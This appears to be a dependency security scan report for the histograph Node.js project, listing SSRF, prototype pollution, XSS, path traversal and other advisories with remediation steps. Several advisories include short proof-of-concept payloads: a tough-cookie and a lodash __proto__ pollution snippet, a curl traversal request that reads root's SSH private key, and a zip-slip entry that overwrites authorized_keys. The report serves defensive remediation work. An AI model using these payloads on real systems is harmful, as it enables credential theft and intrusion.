Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to insufficient checks in the lib/redirect.js file by allowing insecure redirects in the default configuration, via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).

NOTE: request package has been deprecated, so a fix is not expected. See https://github.com/request/request/issues/3142.

Remediation

A fix was pushed into the master branch but not yet published.

References

medium severity

Prototype Pollution

  • Vulnerable module: tough-cookie
  • Introduced through: request@2.88.2 and seraph@0.15.3

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph request@2.88.2 tough-cookie@2.5.0
  • Introduced through: histograph@CVCEeu-dh/histograph seraph@0.15.3 request@2.88.2 tough-cookie@2.5.0
  • Introduced through: histograph@CVCEeu-dh/histograph seraph@0.15.3 seraph-core@1.1.1 request@2.88.2 tough-cookie@2.5.0

Overview

tough-cookie is a RFC6265 Cookies and CookieJar module for Node.js.

Affected versions of this package are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false mode. Due to an issue with the manner in which the objects are initialized, an attacker can expose or modify a limited amount of property information on those objects. There is no impact to availability.

PoC

// PoC.js
async function main(){
var tough = require("tough-cookie");
var cookiejar = new tough.CookieJar(undefined,{rejectPublicSuffixes:false});
// Exploit cookie
await cookiejar.setCookie(
  "Slonser=polluted; Domain=__proto__; Path=/notauth",
  "https://__proto__/admin"
);
// normal cookie
var cookie = await cookiejar.setCookie(
  "Auth=Lol; Domain=google.com; Path=/notauth",
  "https://google.com/"
);

//Exploit cookie
var a = {};
console.log(a["/notauth"]["Slonser"])
}
main();

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade tough-cookie to version 4.1.3 or higher.

References

medium severity

Improper Input Validation

  • Vulnerable module: xmldom
  • Introduced through: gexf@0.2.6 and passport-twitter@1.0.4

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph gexf@0.2.6 xmldom@0.1.31
  • Introduced through: histograph@CVCEeu-dh/histograph passport-twitter@1.0.4 xtraverse@0.1.0 xmldom@0.1.31

Overview

xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.

Affected versions of this package are vulnerable to Improper Input Validation. It does not correctly escape special characters when serializing elements are removed from their ancestor. This may lead to unexpected syntactic changes during XML processing in some downstream applications.

Note: Customers who use "xmldom" package, should use "@xmldom/xmldom" instead, as "xmldom" is no longer maintained.

Remediation

There is no fixed version for xmldom.

References

medium severity

Improper Encoding or Escaping of Output

  • Vulnerable module: axios
  • Introduced through: axios@0.19.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph axios@0.19.2
    Remediation: Upgrade to axios@0.31.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output through the encode function in AxiosURLSearchParams. An attacker can smuggle a NUL byte into serialized query strings by supplying crafted parameter values, causing downstream parsers or backend components to misinterpret the request and potentially truncate or alter parameter handling.

Notes: Standard axios request flow (buildURL) uses its own encode function, which does NOT have this bug. Only triggered via direct AxiosURLSearchParams.toString() without an encoder, or via custom paramsSerializer delegation

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: axios@0.19.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph axios@0.19.2
    Remediation: Upgrade to axios@0.31.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeDirectKeys function in mergeConfig. An attacker can force a request configuration to inherit attacker-controlled properties by supplying a polluted Object.prototype, causing Axios to read inherited values, such as validateStatus, during config merging. This lets a malicious page or library alter how responses are handled, including making 4xx and 5xx responses be treated as successful and bypassing normal error handling in applications that rely on Axios defaults.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: axios@0.19.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph axios@0.19.2
    Remediation: Upgrade to axios@0.32.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via polluted Object.prototype properties in the merge process. An attacker can inject arbitrary HTTP headers into outbound requests or cause synchronous application crashes by manipulating upstream dependencies to pollute prototype attributes, leading to header injection or denial of service conditions.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: axios@0.19.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph axios@0.19.2
    Remediation: Upgrade to axios@0.33.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution n the getMergedValue() function of lib/core/mergeConfig.js, which clones nested option objects such as auth and paramsSerializer into plain {} containers that inherit from Object.prototype, so downstream reads in lib/helpers/resolveConfig.js, lib/adapters/http.js, and lib/helpers/buildURL.js pick up polluted values without own-property checks. An attacker who can pollute Object.prototype can inject an Authorization: Basic header or fully override query-string serialization through paramsSerializer.serialize, enabling request tampering, cache poisoning, or signature-check bypass, on axios calls that pass placeholder nested objects like auth: {} or paramsSerializer: {}. Exploitation requires a separate component to have already polluted Object.prototype and the application to pass empty or partial nested option objects.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.33.0, 1.18.0 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: axios@0.19.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph axios@0.19.2
    Remediation: Upgrade to axios@0.33.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution in the bodyless method aliases in lib/core/Axios.js, the proxy handling in lib/adapters/http.js, and the paramsSerializer read in lib/helpers/resolveConfig.js, which read data, proxy, and paramsSerializer off the config without own-property checks, so polluted Object.prototype values are picked up. An attacker who can pollute Object.prototype can attach body data to a bodyless request such as axios.get(), route requests through an attacker-controlled proxy, or execute an attacker-supplied paramsSerializer during URL serialization, by setting Object.prototype.data, Object.prototype.proxy, or Object.prototype.paramsSerializer. Exploitation requires a separate component to have already polluted Object.prototype, commonly through a transitive dependency.

Note: This is a bypass of the fix for the vulnerability described in CVE-2026-42264.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.33.0, 1.18.0 or higher.

References

medium severity

Unintended Proxy or Intermediary ('Confused Deputy')

  • Vulnerable module: axios
  • Introduced through: axios@0.19.2

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph axios@0.19.2
    Remediation: Upgrade to axios@0.31.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Unintended Proxy or Intermediary ('Confused Deputy') via improper hostname normalization in the NO_PROXY environment variable. An attacker controlling request URLs can access internal or loopback services by crafting requests (with a trailing dot or [::1]) that bypass proxy restrictions, causing sensitive requests to be routed through an unintended proxy.

Note:

This is only exploitable if the application relies on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access.

Remediation

Upgrade axios to version 0.31.0, 1.15.0 or higher.

References

medium severity

  • Vulnerable module: cookie
  • Introduced through: socket.io@1.7.4

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph socket.io@1.7.4 engine.io@1.8.5 cookie@0.3.1
    Remediation: Upgrade to socket.io@4.8.0.

Overview

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the cookie name, path, or domain, which can be used to set unexpected values to other cookie fields.

Workaround

Users who are not able to upgrade to the fixed version should avoid passing untrusted or arbitrary values for the cookie fields and ensure they are set by the application instead of user input.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade cookie to version 0.7.0 or higher.

References

medium severity

Directory Traversal

  • Vulnerable module: grunt
  • Introduced through: exectimer@1.1.0

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5
    Remediation: Upgrade to exectimer@2.0.0.

Overview

grunt is a JavaScript task runner.

Affected versions of this package are vulnerable to Directory Traversal via creation of a symlink to a restricted file, if a local attacker has write access to the source directory of file.copy

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade grunt to version 1.5.0 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: exectimer@1.1.0 and inquirer@0.10.1

Detailed paths

  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 findup-sync@0.1.3 lodash@2.4.2
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 grunt-legacy-log@0.1.3 lodash@2.4.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 grunt-legacy-log@0.1.3 grunt-legacy-log-utils@0.1.1 lodash@2.4.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 lodash@0.9.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt@0.4.5 grunt-legacy-util@0.2.0 lodash@0.9.2
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph exectimer@1.1.0 grunt-contrib-jshint@0.11.3 jshint@2.8.0 lodash@3.7.0
    Remediation: Upgrade to exectimer@2.0.0.
  • Introduced through: histograph@CVCEeu-dh/histograph inquirer@0.10.1 lodash@3.10.1
    Remediation: Upgrade to inquirer@0.12.0.

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution. The utilities function allow modification of the Object prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property.

PoC by Olivier Arteau (HoLyVieR)

var _= require('lodash');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';

var a = {};
console.log("Before : " + a.oops);
_.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

